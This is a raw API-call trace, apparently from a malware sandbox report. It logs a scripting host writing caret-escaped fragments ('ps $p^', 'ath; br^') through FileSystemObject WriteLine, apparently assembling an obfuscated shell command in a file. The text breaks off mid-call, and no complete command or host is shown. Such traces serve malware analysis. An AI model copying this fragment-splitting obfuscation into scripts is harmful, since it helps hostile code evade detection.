0x249ca4476b0 [0148.601] _snwprintf_s (in: _DstBuf=0x249ca4476b0, _DstSizeInWords=0x8, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ring^\"") returned 7 [0148.601] malloc (_Size=0x4a) returned 0x249c884a540 [0148.602] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x25, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.602] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x25, _Source="\"ring^\"", _MaxCount=0x7 | out: _Destination="ITextStream.WriteLine(\"ring^\"") returned 0x0 [0148.602] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ring^\"", _SizeInWords=0x25, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ring^\");\r\n") returned 0x0 [0148.602] wcsncpy_s (in: _Destination=0x249ca4d5a7a, _SizeInWords=0x22, _Source="ITextStream.WriteLine(\"ring^\");\r\n", _MaxCount=0x21 | out: _Destination="ITextStream.WriteLine(\"ring^\");\r\n") returned 0x0 [0148.602] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.602] free (_Block=0x249ca4476b0) [0148.602] free (_Block=0x249c884ede0) [0148.602] free (_Block=0x249c884a540) [0148.602] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bee8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ring^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bee8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ring^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.602] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.602] SysReleaseString () returned 0x1 [0148.602] CoTaskMemFree (pv=0x249c8761550) [0148.602] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.603] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.603] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.603] SysAddRefString () returned 0x0 [0148.603] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.603] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.603] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.603] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762aa8, pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.603] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762b08, pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.603] malloc (_Size=0x8) returned 0x249c884ed60 [0148.603] malloc (_Size=0x14) returned 0x249ca4478b0 [0148.603] _snwprintf_s (in: _DstBuf=0x249ca4478b0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"(), $p^\"") returned 9 [0148.603] malloc (_Size=0x4e) returned 0x249c884a540 [0148.603] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.603] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\"(), $p^\"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\"(), $p^\"") returned 0x0 [0148.603] wcscat_s (in: _Destination="ITextStream.WriteLine(\"(), $p^\"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"(), $p^\");\r\n") returned 0x0 [0148.603] wcsncpy_s (in: _Destination=0x249ca4d5abe, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\"(), $p^\");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\"(), $p^\");\r\n") returned 0x0 [0148.603] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.603] free (_Block=0x249ca4478b0) [0148.603] free (_Block=0x249c884ed60) [0148.604] free (_Block=0x249c884a540) [0148.604] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bf30*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="(), $p^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bf30*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="(), $p^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.604] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.604] SysReleaseString () returned 0x1 [0148.604] CoTaskMemFree (pv=0x249c8761b80) [0148.604] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.604] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.604] CoTaskMemAlloc (cb=0x28) returned 0x249c8761640 [0148.604] SysAddRefString () returned 0x0 [0148.604] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.604] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.604] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.604] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762b08, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.604] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762bc8, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.605] malloc (_Size=0x8) returned 0x249c884ee00 [0148.605] malloc (_Size=0x10) returned 0x249ca447770 [0148.605] _snwprintf_s (in: _DstBuf=0x249ca447770, _DstSizeInWords=0x8, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ath)^\"") returned 7 [0148.605] malloc (_Size=0x4a) returned 0x249c884a540 [0148.605] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x25, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.605] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x25, _Source="\"ath)^\"", _MaxCount=0x7 | out: _Destination="ITextStream.WriteLine(\"ath)^\"") returned 0x0 [0148.605] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ath)^\"", _SizeInWords=0x25, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ath)^\");\r\n") returned 0x0 [0148.605] wcsncpy_s (in: _Destination=0x249ca4d5b06, _SizeInWords=0x22, _Source="ITextStream.WriteLine(\"ath)^\");\r\n", _MaxCount=0x21 | out: _Destination="ITextStream.WriteLine(\"ath)^\");\r\n") returned 0x0 [0148.605] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.605] free (_Block=0x249ca447770) [0148.605] free (_Block=0x249c884ee00) [0148.605] free (_Block=0x249c884a540) [0148.605] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bf78*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ath)^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bf78*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ath)^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.605] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.605] SysReleaseString () returned 0x1 [0148.605] CoTaskMemFree (pv=0x249c8761640) [0148.605] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.605] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.606] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.606] SysAddRefString () returned 0x0 [0148.606] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.606] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.606] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.606] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762bc8, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.606] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767ea8, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.606] malloc (_Size=0x8) returned 0x249c884ed50 [0148.606] malloc (_Size=0xe) returned 0x249ca4477b0 [0148.606] _snwprintf_s (in: _DstBuf=0x249ca4477b0, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\";sa^\"") returned 6 [0148.606] malloc (_Size=0x48) returned 0x249ca443560 [0148.606] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.606] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\";sa^\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\";sa^\"") returned 0x0 [0148.607] wcscat_s (in: _Destination="ITextStream.WriteLine(\";sa^\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\";sa^\");\r\n") returned 0x0 [0148.607] wcsncpy_s (in: _Destination=0x249ca4d5b4a, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\";sa^\");\r\n", _MaxCount=0x20 | out: _Destination="ITextStream.WriteLine(\";sa^\");\r\n") returned 0x0 [0148.607] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.607] free (_Block=0x249ca4477b0) [0148.607] free (_Block=0x249c884ed50) [0148.607] free (_Block=0x249ca443560) [0148.607] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4515c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=";sa^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca4515c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=";sa^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.607] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.607] SysReleaseString () returned 0x1 [0148.607] CoTaskMemFree (pv=0x249c87617f0) [0148.607] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.607] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.607] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.607] SysAddRefString () returned 0x0 [0148.607] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.608] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.608] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.608] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767ea8, pBstrHelpFile=0x249c8758f60*="鬰졵ɉ") returned 0x0 [0148.608] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87683e8, pBstrHelpFile=0x249c8758f60*="鬰졵ɉ") returned 0x0 [0148.608] malloc (_Size=0x8) returned 0x249c884eca0 [0148.608] malloc (_Size=0x12) returned 0x249ca4476d0 [0148.608] _snwprintf_s (in: _DstBuf=0x249ca4476d0, _DstSizeInWords=0x9, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ps $p^\"") returned 8 [0148.608] malloc (_Size=0x4c) returned 0x249c884a540 [0148.608] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x26, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.608] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x26, _Source="\"ps $p^\"", _MaxCount=0x8 | out: _Destination="ITextStream.WriteLine(\"ps $p^\"") returned 0x0 [0148.608] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ps $p^\"", _SizeInWords=0x26, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ps $p^\");\r\n") returned 0x0 [0148.608] wcsncpy_s (in: _Destination=0x249ca4d3bc2, _SizeInWords=0x23, _Source="ITextStream.WriteLine(\"ps $p^\");\r\n", _MaxCount=0x22 | out: _Destination="ITextStream.WriteLine(\"ps $p^\");\r\n") returned 0x0 [0148.608] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.608] free (_Block=0x249ca4476d0) [0148.608] free (_Block=0x249c884eca0) [0148.608] free (_Block=0x249c884a540) [0148.608] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451610*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ps $p^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451610*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ps $p^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.608] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.608] SysReleaseString () returned 0x1 [0148.608] CoTaskMemFree (pv=0x249c87617c0) [0148.608] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.609] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.609] CoTaskMemAlloc (cb=0x28) returned 0x249c87616d0 [0148.609] SysAddRefString () returned 0x0 [0148.609] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.609] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.609] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.609] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87683e8, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.609] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767f08, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.609] malloc (_Size=0x8) returned 0x249c884ed10 [0148.609] malloc (_Size=0x16) returned 0x249ca4476f0 [0148.609] _snwprintf_s (in: _DstBuf=0x249ca4476f0, _DstSizeInWords=0xb, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ath; br^\"") returned 10 [0148.609] malloc (_Size=0x50) returned 0x249c884a540 [0148.609] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x28, 